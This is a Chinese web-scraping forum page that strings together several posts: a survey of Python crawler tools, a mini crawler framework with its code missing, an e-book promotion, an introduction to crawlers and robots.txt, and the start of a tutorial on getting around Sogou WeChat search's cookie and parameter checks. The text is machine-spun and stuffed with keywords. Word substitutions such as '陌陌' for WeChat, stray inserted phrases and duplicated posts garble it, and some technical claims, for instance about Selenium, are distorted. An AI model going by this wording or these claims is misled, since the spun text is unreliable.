  MechanicalSoup 是一個(gè)基于非常流行而異常多能的 HTML 解析庫 Beautiful Soup 建立的爬蟲(chóng)庫。如果你的爬蟲(chóng)須要相當的簡(jiǎn)單,但是又要求檢測一些選擇框或則輸入一些文字,而你又不想為這個(gè)任務(wù)單獨寫(xiě)一個(gè)爬蟲(chóng),那么這會(huì )是一個(gè)值得考慮的選擇。
  MechanicalSoup 在 MIT 許可證下開(kāi)源。查看 GitHub 上該項目的 example.py 樣例文件來(lái)獲得更多的用法。不幸的是,到目前為止,這個(gè)項目還沒(méi)有一個(gè)挺好的文檔。
  Scrapy 是一個(gè)有著(zhù)活躍社區支持的抓取框架,在那里你可以建造自己的抓取工具。除了爬取和解析工具,它能夠將它搜集的數據以 JSON 或者 CSV 之類(lèi)的格式輕松輸出,并儲存在一個(gè)你選擇的前端數據庫。它還有許多外置的任務(wù)擴充linux 爬蟲(chóng)軟件,例如 cookie 處理、代理誤導、限制爬取深度等等,同時(shí)還可以構建你自己附加的 API。
  要了解 Scrapy,你可以查看網(wǎng)上的文檔或則是訪(fǎng)問(wèn)它眾多的社區資源,包括一個(gè) IRC 頻道、Reddit 子版塊以及關(guān)注她們的 StackOverflow 標簽。Scrapy 的代碼在 3 句版 BSD 許可證下開(kāi)源,你可以在 GitHub 上找到它們。
  如果你完全不熟悉編程,Portia 提供了一個(gè)易用的可視化的界面。 則提供一個(gè)托管的版本。
  這遠不是一個(gè)完整的列表,當然,如果你是一個(gè)編程專(zhuān)家,你可以選擇采取你自己的方式而不是使用這種框架中的一個(gè)?;蛘吣惆l(fā)覺(jué)一個(gè)用其他語(yǔ)言編撰的替代品。例如 Python 編程者可能更喜歡 Python 附帶的Selenium,它可以在不使用實(shí)際瀏覽器的情況下進(jìn)行爬取。如果你有喜歡的爬取和挖掘工具,請在下邊評論使我們曉得。
 ?。}圖:You as a Machine. Modified by Rikki Endsley. CC BY-SA 2.0)
  via: /resources/python/web-scraper-crawler 查看全部

  運用這種太棒的 Python 爬蟲(chóng)工具來(lái)獲取你須要的數據。
  在一個(gè)理想的世界里,你須要的所有數據都將以公開(kāi)而文檔完備的格式清晰地詮釋?zhuān)憧梢暂p松地下載并在任何你須要的地方使用。
  然而,在真實(shí)世界里,數據是零亂的,極少被打包成你須要的樣子,要么常常是過(guò)期的。
  你所須要的信息常常是埋藏在一個(gè)網(wǎng)站里。相比一些清晰地、有調養地呈現數據的網(wǎng)站,更多的網(wǎng)站則不是這樣的。爬取數據crawling、挖掘數據scraping、加工數據、整理數據那些是獲取整個(gè)網(wǎng)站結構來(lái)勾畫(huà)網(wǎng)站拓撲來(lái)搜集數據所必須的活動(dòng),這些可以是以網(wǎng)站的格式存儲的或則是存放在一個(gè)專(zhuān)有數據庫中。
  也許在不久的將來(lái),你須要通過(guò)爬取和挖掘來(lái)獲得一些你須要的數據,當然你幾乎肯定須要進(jìn)行一點(diǎn)點(diǎn)的編程來(lái)正確的獲取。你要如何做取決于你自己,但是我發(fā)覺(jué) Python 社區是一個(gè)挺好的提供者,它提供了工具、框架以及文檔來(lái)幫助你從網(wǎng)站上獲取數據。
  在我們進(jìn)行之前,這里有一個(gè)小小的懇求:在你做事情之前請思索,以及請耐心。抓取這件事情并不簡(jiǎn)單。不要把網(wǎng)站爬出來(lái)只是復制一遍,并其它人的工作當作是你自己的東西(當然,沒(méi)有許可)。要注意版權和許可,以及你所爬行的內容應用哪一個(gè)標準。尊重 robots.txt 文件。不要頻繁的針對一個(gè)網(wǎng)站,這將造成真實(shí)的訪(fǎng)問(wèn)者會(huì )碰到訪(fǎng)問(wèn)困難的問(wèn)題。
  在知曉那些警告過(guò)后,這里有一些太棒的 Python 網(wǎng)站爬蟲(chóng)工具,你可以拿來(lái)獲得你須要的數據。
  讓我們先從 pyspider 開(kāi)始介紹。這是一個(gè)帶有 web 界面的網(wǎng)路爬蟲(chóng),讓與讓之容易跟蹤多個(gè)爬蟲(chóng)。其具有擴展性,支持多個(gè)前端數據庫和消息隊列。它還具有一些便捷的特點(diǎn),從優(yōu)先級到再度訪(fǎng)問(wèn)抓取失敗的頁(yè)面linux 爬蟲(chóng)軟件,此外還有通過(guò)時(shí)間次序來(lái)爬取和其他的一些特點(diǎn)。Pyspider 同時(shí)支持 Python 2 和 Python 3。為了實(shí)現一個(gè)更快的爬取,你可以在分布式的環(huán)境下一次使用多個(gè)爬蟲(chóng)進(jìn)行爬取。
  Pyspyder 的基本用法都有良好的 文檔說(shuō)明 ,包括簡(jiǎn)單的代碼片斷。你能通過(guò)查看一個(gè) 在線(xiàn)的樣例 來(lái)體驗用戶(hù)界面。它在 Apache 2 許可證下開(kāi)源,Pyspyder 仍然在 GitHub 上積極地開(kāi)發(fā)。
  MechanicalSoup 是一個(gè)基于非常流行而異常多能的 HTML 解析庫 Beautiful Soup 建立的爬蟲(chóng)庫。如果你的爬蟲(chóng)須要相當的簡(jiǎn)單,但是又要求檢測一些選擇框或則輸入一些文字,而你又不想為這個(gè)任務(wù)單獨寫(xiě)一個(gè)爬蟲(chóng),那么這會(huì )是一個(gè)值得考慮的選擇。
  MechanicalSoup 在 MIT 許可證下開(kāi)源。查看 GitHub 上該項目的 example.py 樣例文件來(lái)獲得更多的用法。不幸的是,到目前為止,這個(gè)項目還沒(méi)有一個(gè)挺好的文檔。
  Scrapy 是一個(gè)有著(zhù)活躍社區支持的抓取框架,在那里你可以建造自己的抓取工具。除了爬取和解析工具,它能夠將它搜集的數據以 JSON 或者 CSV 之類(lèi)的格式輕松輸出,并儲存在一個(gè)你選擇的前端數據庫。它還有許多外置的任務(wù)擴充linux 爬蟲(chóng)軟件,例如 cookie 處理、代理誤導、限制爬取深度等等,同時(shí)還可以構建你自己附加的 API。
  要了解 Scrapy,你可以查看網(wǎng)上的文檔或則是訪(fǎng)問(wèn)它眾多的社區資源,包括一個(gè) IRC 頻道、Reddit 子版塊以及關(guān)注她們的 StackOverflow 標簽。Scrapy 的代碼在 3 句版 BSD 許可證下開(kāi)源,你可以在 GitHub 上找到它們。
  如果你完全不熟悉編程,Portia 提供了一個(gè)易用的可視化的界面。 則提供一個(gè)托管的版本。
  這遠不是一個(gè)完整的列表,當然,如果你是一個(gè)編程專(zhuān)家,你可以選擇采取你自己的方式而不是使用這種框架中的一個(gè)?;蛘吣惆l(fā)覺(jué)一個(gè)用其他語(yǔ)言編撰的替代品。例如 Python 編程者可能更喜歡 Python 附帶的Selenium,它可以在不使用實(shí)際瀏覽器的情況下進(jìn)行爬取。如果你有喜歡的爬取和挖掘工具,請在下邊評論使我們曉得。
 ?。}圖:You as a Machine. Modified by Rikki Endsley. CC BY-SA 2.0)
  via: /resources/python/web-scraper-crawler

手把手教你寫(xiě)網(wǎng)絡(luò )爬蟲(chóng)(2):迷你爬蟲(chóng)構架-通用網(wǎng)路爬蟲(chóng)

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 374 次瀏覽 ? 2020-06-20 08:00 ? 來(lái)自相關(guān)話(huà)題

  
  介紹
  大家好!回顧上一期,我們在介紹了爬蟲(chóng)的基本概念以后,就借助各類(lèi)工具橫沖直撞的完成了一個(gè)小爬蟲(chóng),目的就是猛、糙、快,方便初學(xué)者上手,建立信心。對于有一定基礎的讀者,請不要著(zhù)急,以后我們會(huì )學(xué)習主流的開(kāi)源框架,打造出一個(gè)強悍專(zhuān)業(yè)的爬蟲(chóng)系統!不過(guò)在此之前,要繼續打好基礎,本期我們先介紹爬蟲(chóng)的種類(lèi),然后選定最典型的通用網(wǎng)路爬蟲(chóng),為其設計一個(gè)迷你框架。有了自己對框架的思索后爬蟲(chóng)結構,再學(xué)習復雜的開(kāi)源框架就有頭緒了。
  今天我們會(huì )把更多的時(shí)間用在思索上,而不是一根筋的coding。用80%的時(shí)間思索,20%的時(shí)間敲按鍵,這樣更有利于進(jìn)步。
  
  語(yǔ)言&amp;環(huán)境
  語(yǔ)言:帶足彈藥,繼續用Python開(kāi)路!
  
  
  
  
  
  
  一個(gè)迷你框架
  下面以比較典型的通用爬蟲(chóng)為例爬蟲(chóng)結構,分析其工程要點(diǎn),設計并實(shí)現一個(gè)迷你框架。架構圖如下:
  
  代碼結構:
  
  config_load.py 配置文件加載
  crawl_thread.py 爬取線(xiàn)程
  mini_spider.py 主線(xiàn)程
  spider.conf 配置文件
  url_table.py url隊列、url表
  urls.txt 種子url集合
  webpage_parse.py 網(wǎng)頁(yè)剖析
  webpage_save.py 網(wǎng)頁(yè)儲存
  看看配置文件里有哪些內容:
  spider.conf
  
  
  
  
  
  url_table.py
  
  Step 3. 記錄什么網(wǎng)頁(yè)早已下載過(guò)的小筆記本——URL表。
  在互聯(lián)網(wǎng)上,一個(gè)網(wǎng)頁(yè)可能被多個(gè)網(wǎng)頁(yè)中的超鏈接所指向。這樣在遍歷互聯(lián)網(wǎng)這張圖的時(shí)侯,這個(gè)網(wǎng)頁(yè)可能被多次訪(fǎng)問(wèn)到。為了避免一個(gè)網(wǎng)頁(yè)被下載和解析多次,需要一個(gè)URL表記錄什么網(wǎng)頁(yè)早已下載過(guò)。再碰到這個(gè)網(wǎng)頁(yè)的時(shí)侯,我們就可以跳過(guò)它。
  crawl_thread.py
  
  
  
  
  Step 5. 頁(yè)面剖析模塊
  從網(wǎng)頁(yè)中解析出URLs或則其他有用的數據。這個(gè)是下期重點(diǎn)介紹的,可以參考之前的代碼。
  Step 6. 頁(yè)面儲存模塊
  保存頁(yè)面的模塊,目前將文件保存為文件,以后可以擴充出多種儲存方法,如mysql,mongodb,hbase等等。
  webpage_save.py
  
  寫(xiě)到這兒,整個(gè)框架早已清晰的呈如今大伙眼前了,千萬(wàn)不要小看它,不管多么復雜的框架都是在這種基本要素上擴充下來(lái)的。
  下一步
  基礎知識的學(xué)習暫時(shí)告一段落,希望還能幫助你們打下一定的基礎。下期開(kāi)始為你們介紹強悍成熟的爬蟲(chóng)框架Scrapy,它提供了好多強悍的特點(diǎn)來(lái)促使爬取更為簡(jiǎn)單高效,更多精彩,敬請期盼!
  【編輯推薦】
  如何用Python來(lái)找你喜歡的女生?初識Python:全局、局部和非局部變量(帶示例)教你用Python解決非平衡數據問(wèn)題(附代碼)調查顯示:你是否是一個(gè)合格的Python開(kāi)發(fā)者?手把手教你寫(xiě)網(wǎng)絡(luò )爬蟲(chóng)(1):網(wǎng)易云音樂(lè )歌單 查看全部

  
  介紹
  大家好!回顧上一期,我們在介紹了爬蟲(chóng)的基本概念以后,就借助各類(lèi)工具橫沖直撞的完成了一個(gè)小爬蟲(chóng),目的就是猛、糙、快,方便初學(xué)者上手,建立信心。對于有一定基礎的讀者,請不要著(zhù)急,以后我們會(huì )學(xué)習主流的開(kāi)源框架,打造出一個(gè)強悍專(zhuān)業(yè)的爬蟲(chóng)系統!不過(guò)在此之前,要繼續打好基礎,本期我們先介紹爬蟲(chóng)的種類(lèi),然后選定最典型的通用網(wǎng)路爬蟲(chóng),為其設計一個(gè)迷你框架。有了自己對框架的思索后爬蟲(chóng)結構,再學(xué)習復雜的開(kāi)源框架就有頭緒了。
  今天我們會(huì )把更多的時(shí)間用在思索上,而不是一根筋的coding。用80%的時(shí)間思索,20%的時(shí)間敲按鍵,這樣更有利于進(jìn)步。
  
  語(yǔ)言&amp;環(huán)境
  語(yǔ)言:帶足彈藥,繼續用Python開(kāi)路!
  
  
  
  
  
  
  一個(gè)迷你框架
  下面以比較典型的通用爬蟲(chóng)為例爬蟲(chóng)結構,分析其工程要點(diǎn),設計并實(shí)現一個(gè)迷你框架。架構圖如下:
  
  代碼結構:
  
  config_load.py 配置文件加載
  crawl_thread.py 爬取線(xiàn)程
  mini_spider.py 主線(xiàn)程
  spider.conf 配置文件
  url_table.py url隊列、url表
  urls.txt 種子url集合
  webpage_parse.py 網(wǎng)頁(yè)剖析
  webpage_save.py 網(wǎng)頁(yè)儲存
  看看配置文件里有哪些內容:
  spider.conf
  
  
  
  
  
  url_table.py
  
  Step 3. 記錄什么網(wǎng)頁(yè)早已下載過(guò)的小筆記本——URL表。
  在互聯(lián)網(wǎng)上,一個(gè)網(wǎng)頁(yè)可能被多個(gè)網(wǎng)頁(yè)中的超鏈接所指向。這樣在遍歷互聯(lián)網(wǎng)這張圖的時(shí)侯,這個(gè)網(wǎng)頁(yè)可能被多次訪(fǎng)問(wèn)到。為了避免一個(gè)網(wǎng)頁(yè)被下載和解析多次,需要一個(gè)URL表記錄什么網(wǎng)頁(yè)早已下載過(guò)。再碰到這個(gè)網(wǎng)頁(yè)的時(shí)侯,我們就可以跳過(guò)它。
  crawl_thread.py
  
  
  
  
  Step 5. 頁(yè)面剖析模塊
  從網(wǎng)頁(yè)中解析出URLs或則其他有用的數據。這個(gè)是下期重點(diǎn)介紹的,可以參考之前的代碼。
  Step 6. 頁(yè)面儲存模塊
  保存頁(yè)面的模塊,目前將文件保存為文件,以后可以擴充出多種儲存方法,如mysql,mongodb,hbase等等。
  webpage_save.py
  
  寫(xiě)到這兒,整個(gè)框架早已清晰的呈如今大伙眼前了,千萬(wàn)不要小看它,不管多么復雜的框架都是在這種基本要素上擴充下來(lái)的。
  下一步
  基礎知識的學(xué)習暫時(shí)告一段落,希望還能幫助你們打下一定的基礎。下期開(kāi)始為你們介紹強悍成熟的爬蟲(chóng)框架Scrapy,它提供了好多強悍的特點(diǎn)來(lái)促使爬取更為簡(jiǎn)單高效,更多精彩,敬請期盼!
  【編輯推薦】
  如何用Python來(lái)找你喜歡的女生?初識Python:全局、局部和非局部變量(帶示例)教你用Python解決非平衡數據問(wèn)題(附代碼)調查顯示:你是否是一個(gè)合格的Python開(kāi)發(fā)者?手把手教你寫(xiě)網(wǎng)絡(luò )爬蟲(chóng)(1):網(wǎng)易云音樂(lè )歌單

一份Python爬蟲(chóng)電子書(shū)

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 302 次瀏覽 ? 2020-06-19 08:01 ? 來(lái)自相關(guān)話(huà)題

  
  Python爬蟲(chóng)現如今早已越來(lái)越吃香了,隨意打開(kāi)一個(gè)急聘網(wǎng)站從工資水平來(lái)看,入門(mén)的爬蟲(chóng)工程師都能領(lǐng)到15k以上,爬蟲(chóng)構架相關(guān)的都能領(lǐng)到30k以上,我們還有什么理由去拒絕爬蟲(chóng)呢?當然,除非你跟錢(qián)過(guò)意不去。
  
  
  所以秉承使更多想改行學(xué)習Python爬蟲(chóng)的的朋友快速學(xué)習、讓更多的小伙伴領(lǐng)到高薪我整理了一份十分健全的Python爬蟲(chóng)的電子書(shū)。
  之前在知乎寫(xiě)分享早已有一年多,一直有同學(xué)說(shuō)我的回答和文章能整理成書(shū)籍了仍然偷懶沒(méi)做,也有出版社的小伙伴找我把這種內容弄成書(shū)都被我拒絕了。所以也是借著(zhù)這個(gè)機會(huì )仔細整理了知乎上的回答和文章另外也添加了一些新的內容,完成了幾本小小的電子書(shū),這一本比較小一部分是有關(guān)于Python方面的,主要內容還是Python爬蟲(chóng)。
  這本書(shū)主要內容是Python入門(mén)爬蟲(chóng)飼養書(shū),以及Python爬蟲(chóng)入門(mén)和Python爬蟲(chóng)進(jìn)階,以下這是這本電子書(shū)的一個(gè)主要的目錄:
  
  
  這本書(shū)不僅一些自己的學(xué)習、面試感受之外,還有好多包括書(shū)籍方面的資源、教程方面的學(xué)習資源,為了克服選擇困難癥,我在選擇教程或則書(shū)籍的時(shí)侯盡量保證了資源少而且精準,能用最少最精華的教程使你們快速入門(mén)Python以及比較熟悉的使用Python爬蟲(chóng)。
  如果你能用心用2-3個(gè)月的時(shí)間認真通讀這本電子書(shū)爬蟲(chóng)飼養書(shū),并且學(xué)習這本書(shū)上推薦的一些教程和書(shū)籍,相信你一定能找到一份不錯的Python爬蟲(chóng)工作。 查看全部
  
  Python爬蟲(chóng)現如今早已越來(lái)越吃香了,隨意打開(kāi)一個(gè)急聘網(wǎng)站從工資水平來(lái)看,入門(mén)的爬蟲(chóng)工程師都能領(lǐng)到15k以上,爬蟲(chóng)構架相關(guān)的都能領(lǐng)到30k以上,我們還有什么理由去拒絕爬蟲(chóng)呢?當然,除非你跟錢(qián)過(guò)意不去。
  
  
  所以秉承使更多想改行學(xué)習Python爬蟲(chóng)的的朋友快速學(xué)習、讓更多的小伙伴領(lǐng)到高薪我整理了一份十分健全的Python爬蟲(chóng)的電子書(shū)。
  之前在知乎寫(xiě)分享早已有一年多,一直有同學(xué)說(shuō)我的回答和文章能整理成書(shū)籍了仍然偷懶沒(méi)做,也有出版社的小伙伴找我把這種內容弄成書(shū)都被我拒絕了。所以也是借著(zhù)這個(gè)機會(huì )仔細整理了知乎上的回答和文章另外也添加了一些新的內容,完成了幾本小小的電子書(shū),這一本比較小一部分是有關(guān)于Python方面的,主要內容還是Python爬蟲(chóng)。
  這本書(shū)主要內容是Python入門(mén)爬蟲(chóng)飼養書(shū),以及Python爬蟲(chóng)入門(mén)和Python爬蟲(chóng)進(jìn)階,以下這是這本電子書(shū)的一個(gè)主要的目錄:
  
  
  這本書(shū)不僅一些自己的學(xué)習、面試感受之外,還有好多包括書(shū)籍方面的資源、教程方面的學(xué)習資源,為了克服選擇困難癥,我在選擇教程或則書(shū)籍的時(shí)侯盡量保證了資源少而且精準,能用最少最精華的教程使你們快速入門(mén)Python以及比較熟悉的使用Python爬蟲(chóng)。
  如果你能用心用2-3個(gè)月的時(shí)間認真通讀這本電子書(shū)爬蟲(chóng)飼養書(shū),并且學(xué)習這本書(shū)上推薦的一些教程和書(shū)籍,相信你一定能找到一份不錯的Python爬蟲(chóng)工作。

爬蟲(chóng)簡(jiǎn)介

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 332 次瀏覽 ? 2020-06-17 08:01 ? 來(lái)自相關(guān)話(huà)題

  網(wǎng)絡(luò )爬蟲(chóng)機器人,以互聯(lián)網(wǎng)自由抓取數據的程序
  網(wǎng)頁(yè)的三大特點(diǎn):
  是拿來(lái)寫(xiě)前端的,對于異步和多任務(wù)處理不太好,爬蟲(chóng)是一個(gè)工具性的程序爬蟲(chóng),對效率要求比較高
  是Python寫(xiě)爬蟲(chóng)的最大競爭對手,Java語(yǔ)言生態(tài)系統比較健全,對各模塊的支持也比較友好。但是Java這門(mén)語(yǔ)言比較笨重,重構和迭代成本比價(jià)高
  語(yǔ)言較難,代碼成形比較慢
  語(yǔ)法簡(jiǎn)單素雅,第三方模塊比較豐富,關(guān)于爬蟲(chóng)的網(wǎng)路懇求模塊和網(wǎng)路解析模塊(Lxml,BeautifulSoup,pyQuery)也比較多,并且有高效穩定的scrapy網(wǎng)路爬蟲(chóng)框架,以及爬scrapy,redis分布式爬蟲(chóng)框架,Python也是一門(mén)膠帶語(yǔ)言,對于其他語(yǔ)言的調用比較便捷
  是搜索引擎的重要組成部份
  盡可能的將所有互聯(lián)網(wǎng)上的網(wǎng)頁(yè)下載到本地,經(jīng)過(guò)預處理(去噪,分詞,去廣告),最終將數據存儲到本地,做一個(gè)鏡像備份產(chǎn)生一個(gè)檢索系統
  1.選取一部分的url作為種子url,將這種url裝入到帶爬取的任務(wù)隊列上面
  2.從待爬取的任務(wù)列隊中取出url,發(fā)起懇求,將獲取的網(wǎng)頁(yè)源碼儲存到本地
  并將早已爬取過(guò)的url ,放到已爬取的隊列中
  3.從已爬取的URL的響應結果中剖析提取其他的url的地址,繼續添加到待爬取的隊列中,
  之后就是不斷的循環(huán),直到所有的url都獲取完畢。
  1.通過(guò)網(wǎng)站提交自己的網(wǎng)站地址()
  2.搜索引擎會(huì )和DNS服務(wù)商合作,拿到最新的網(wǎng)站地址
  3.網(wǎng)站中包含其他外鏈
  DNS服務(wù):將我們的域名轉換為對應的ip的一種技術(shù)
  數據獲取------&gt;預處理(去噪,分詞,去廣告.....)------&gt;存儲------&gt;提供檢索插口|排名(網(wǎng)絡(luò )排行)
  網(wǎng)站排名:
  1.根據用戶(hù)的訪(fǎng)問(wèn)量(越多越靠前)
  2.競價(jià)排名
  1.必須遵循robot合同:就是一個(gè)規范,告訴搜索引擎爬蟲(chóng),哪些目錄下的資源容許爬蟲(chóng),哪些目錄下的資源不容許爬蟲(chóng)
  "user-agent":這項值拿來(lái)表示是哪家的搜索引擎
  "allow":允許被爬取的url
  "disallow":不容許被爬取的url
  2.搜索引擎返回的都是網(wǎng)頁(yè),并且返回的90%都是無(wú)用的信息
  3.不能否按照不同用戶(hù)的需求返回不同的結果
  4.通用爬蟲(chóng)對于多媒體的文件不能夠獲取
  聚焦爬蟲(chóng)是面向主題的爬蟲(chóng),在爬蟲(chóng)數據的過(guò)程中會(huì )對數據進(jìn)行篩選,往往只會(huì )爬蟲(chóng)與需求相關(guān)的數據 查看全部

  網(wǎng)絡(luò )爬蟲(chóng)機器人,以互聯(lián)網(wǎng)自由抓取數據的程序
  網(wǎng)頁(yè)的三大特點(diǎn):
  是拿來(lái)寫(xiě)前端的,對于異步和多任務(wù)處理不太好,爬蟲(chóng)是一個(gè)工具性的程序爬蟲(chóng),對效率要求比較高
  是Python寫(xiě)爬蟲(chóng)的最大競爭對手,Java語(yǔ)言生態(tài)系統比較健全,對各模塊的支持也比較友好。但是Java這門(mén)語(yǔ)言比較笨重,重構和迭代成本比價(jià)高
  語(yǔ)言較難,代碼成形比較慢
  語(yǔ)法簡(jiǎn)單素雅,第三方模塊比較豐富,關(guān)于爬蟲(chóng)的網(wǎng)路懇求模塊和網(wǎng)路解析模塊(Lxml,BeautifulSoup,pyQuery)也比較多,并且有高效穩定的scrapy網(wǎng)路爬蟲(chóng)框架,以及爬scrapy,redis分布式爬蟲(chóng)框架,Python也是一門(mén)膠帶語(yǔ)言,對于其他語(yǔ)言的調用比較便捷
  是搜索引擎的重要組成部份
  盡可能的將所有互聯(lián)網(wǎng)上的網(wǎng)頁(yè)下載到本地,經(jīng)過(guò)預處理(去噪,分詞,去廣告),最終將數據存儲到本地,做一個(gè)鏡像備份產(chǎn)生一個(gè)檢索系統
  1.選取一部分的url作為種子url,將這種url裝入到帶爬取的任務(wù)隊列上面
  2.從待爬取的任務(wù)列隊中取出url,發(fā)起懇求,將獲取的網(wǎng)頁(yè)源碼儲存到本地
  并將早已爬取過(guò)的url ,放到已爬取的隊列中
  3.從已爬取的URL的響應結果中剖析提取其他的url的地址,繼續添加到待爬取的隊列中,
  之后就是不斷的循環(huán),直到所有的url都獲取完畢。
  1.通過(guò)網(wǎng)站提交自己的網(wǎng)站地址()
  2.搜索引擎會(huì )和DNS服務(wù)商合作,拿到最新的網(wǎng)站地址
  3.網(wǎng)站中包含其他外鏈
  DNS服務(wù):將我們的域名轉換為對應的ip的一種技術(shù)
  數據獲取------&gt;預處理(去噪,分詞,去廣告.....)------&gt;存儲------&gt;提供檢索插口|排名(網(wǎng)絡(luò )排行)
  網(wǎng)站排名:
  1.根據用戶(hù)的訪(fǎng)問(wèn)量(越多越靠前)
  2.競價(jià)排名
  1.必須遵循robot合同:就是一個(gè)規范,告訴搜索引擎爬蟲(chóng),哪些目錄下的資源容許爬蟲(chóng),哪些目錄下的資源不容許爬蟲(chóng)
  "user-agent":這項值拿來(lái)表示是哪家的搜索引擎
  "allow":允許被爬取的url
  "disallow":不容許被爬取的url
  2.搜索引擎返回的都是網(wǎng)頁(yè),并且返回的90%都是無(wú)用的信息
  3.不能否按照不同用戶(hù)的需求返回不同的結果
  4.通用爬蟲(chóng)對于多媒體的文件不能夠獲取
  聚焦爬蟲(chóng)是面向主題的爬蟲(chóng),在爬蟲(chóng)數據的過(guò)程中會(huì )對數據進(jìn)行篩選,往往只會(huì )爬蟲(chóng)與需求相關(guān)的數據

搜狗陌陌采集 —— python爬蟲(chóng)系列一

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 647 次瀏覽 ? 2020-07-24 08:00 ? 來(lái)自相關(guān)話(huà)題

  前言:一覺(jué)醒來(lái),發(fā)現原有的搜狗陌陌爬蟲(chóng)失效了,網(wǎng)上查找一翻發(fā)覺(jué)10月29日搜狗陌陌改版了,無(wú)法通過(guò)搜索公眾號名子獲取對應文章了,不過(guò)通過(guò)搜索主題獲取對應文章還是可以的,問(wèn)題不大,開(kāi)搞!
  目的:獲取搜狗陌陌中搜索主題返回的文章。
  涉及反爬機制:cookie設置,js加密。
  完整代碼已上傳本人github,僅供參考。如果對您有幫助,勞煩看客大人給個(gè)星星!
  進(jìn)入題外話(huà)。
  打開(kāi)搜狗陌陌,在搜索框輸入“咸蛋超人”,這里搜索下來(lái)的就是有關(guān)“咸蛋超人”主題的各個(gè)公眾號的文章列表:
  
  按照正常的采集流程,此時(shí)按F12打開(kāi)瀏覽器的開(kāi)發(fā)者工具,利用選擇工具點(diǎn)擊列表中文章標題,查看源碼中列表中文章url的所在位置,再用xpath獲取文章url的值,也就是這個(gè)href的值,為防止混亂,我們稱(chēng)之為“列表頁(yè)面的文章url”。
  
  可以見(jiàn)到“列表頁(yè)面的文章url”需要拼接,一般這些情況須要在瀏覽器中正常訪(fǎng)問(wèn)一下這篇文章,對比觀(guān)察跳轉后的url(我們稱(chēng)之為“真實(shí)的文章url”),再缺頭補頭缺腿補腿即可。下面是兩個(gè)url的對比:
  列表頁(yè)面的文章url:
/link?url=dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgSwqn5HZrcjUNFzn4G2S0Yt3MduzuCU92ulqXa8Fplpd9CqUiLuEm9hLLvBiu5ziMS196rgHYb-GzQfleG917OgwN_VAAdAZHKryCeU9lIxtWTKnLsDcsuPIjLhLEK3tbGSa3_pkMzadQg75Zhmxb9YI0psZvVepKtN4hpzQgtGa2iOlKKLwV_oxooGE6sxg1qinKxTb5VwJUcLBM1RgkzAPRtmyIGw2VAg..&amp;type=2&amp;query=%E5%92%B8%E8%9B%8B%E8%B6%85%E4%BA%BA&amp;k=92&amp;h=z
真實(shí)的文章url:
https://mp.weixin.qq.com/s?src=11&amp;timestamp=1573092595&amp;ver=1959&amp;signature=FjD709D-0vHSyVgQyXCS-TUAcnT0M9Gx6JljQEb6O55zpuyyDaTHqgkRCxNDtt5ZDifDRUUBOemzxcz71FMOmO88m6RWfR0r4fFBe0VefAsjFu0pl-M0frYOnXPF5JD8&amp;new=1
  這里很明顯兩個(gè)url的路徑不一致,應該是中間經(jīng)過(guò)了一些調轉,python的requests庫是帶手動(dòng)調轉功能,我們先把域名補上試一下訪(fǎng)問(wèn)
  
  明顯這兒做了反爬限制,那么這兒開(kāi)始,我們就須要抓包剖析了。這里用到的工具是Firefox瀏覽器的開(kāi)發(fā)者工具。抓包觀(guān)察的是從搜索結果頁(yè)面列表文章點(diǎn)擊跳轉到文章頁(yè)面的過(guò)程,這里點(diǎn)擊文章超鏈接會(huì )在新窗口打開(kāi),我們只須要在網(wǎng)頁(yè)源碼中把對應a標簽的target屬性改為空搜狗微信文章采集,就可以在一個(gè)窗口中觀(guān)察整個(gè)流程的數據包了。
  
  抓包剖析:
  
  
  通過(guò)抓包我們可以找到搜索結果頁(yè)面跳轉到文章頁(yè)面的過(guò)程,這里觀(guān)察發(fā)覺(jué),“列表頁(yè)面的文章url”返回的結果中就包含了“真實(shí)的文章url”的信息,這意味著(zhù)我們只須要正確訪(fǎng)問(wèn)到“列表頁(yè)面的文章url”,根據返回的數據能夠拼接出“真實(shí)的文章url”并訪(fǎng)問(wèn)了,這樣我們就實(shí)現從“列表頁(yè)面的文章url”到“真實(shí)的文章url”的跳轉了!
  此時(shí)我們的目標就從獲取“真實(shí)的文章url”轉變到正確的訪(fǎng)問(wèn)“列表頁(yè)面的文章url”了,繼續剖析抓包數據中的“列表頁(yè)面的文章url”信息:
  抓包數據:
  url:https://weixin.sogou.com/link% ... h%3DU
  method:GET
  請求參數:{"url":"dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgSwqn5HZrcjUNEnNekGBXt9LMduzuCU92ulqXa8Fplpd9CqUiLuEm9hLLvBiu5ziMS196rgHYb-GzQfleG917OgwN_VAAdAZHKryCeU9lIxtWTKnLsDcsuPIjLhLEK3tbGaBLLLEV3E0vo604DcwbvX2VNudQZNnBemevd34BJP94ZL5zUiA49LgzIjRlpGxccVxTTaLhHZKstaeqw41upSVAe0f8bRARvQ..","type":"2","query":"咸蛋超人","k":"60","h":"U"}
  headers:
    Host: weixin.sogou.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Referer: https://weixin.sogou.com/weixi ... 40108
    Cookie: 見(jiàn)下
  Cookie:{"ABTEST":"4|1573094886|v1","IPLOC":"CN4401","JSESSIONID":"aaa3VBk4eXnIf8d4bdx4w","SNUID":"57A28ED20A0F9FB2BBE3E0180AF00D25","SUID":"5EAB87DB2613910A000000005DC385E6","SUV":"00F221C2DB87AB5E5DC385E7BC43F633"}
  這里的重點(diǎn)有三個(gè):
  請求參數:對比我們獲取的“列表頁(yè)面的文章url”分析可以發(fā)覺(jué),這里多了兩個(gè)參數“k”、“h”,這是須要我們設法獲取的。headers:經(jīng)過(guò)測試該網(wǎng)站對User-Agent敏感,一次訪(fǎng)問(wèn)前后User-Agent須要一致。Cookie:Cookie中參數須要獲取能夠正確訪(fǎng)問(wèn)該url。這些參數分別是:ABTEST、IPLOC、JSESSIONID、SNUID、SUID、SUV。
  3.1:獲取參數“k”、“h”
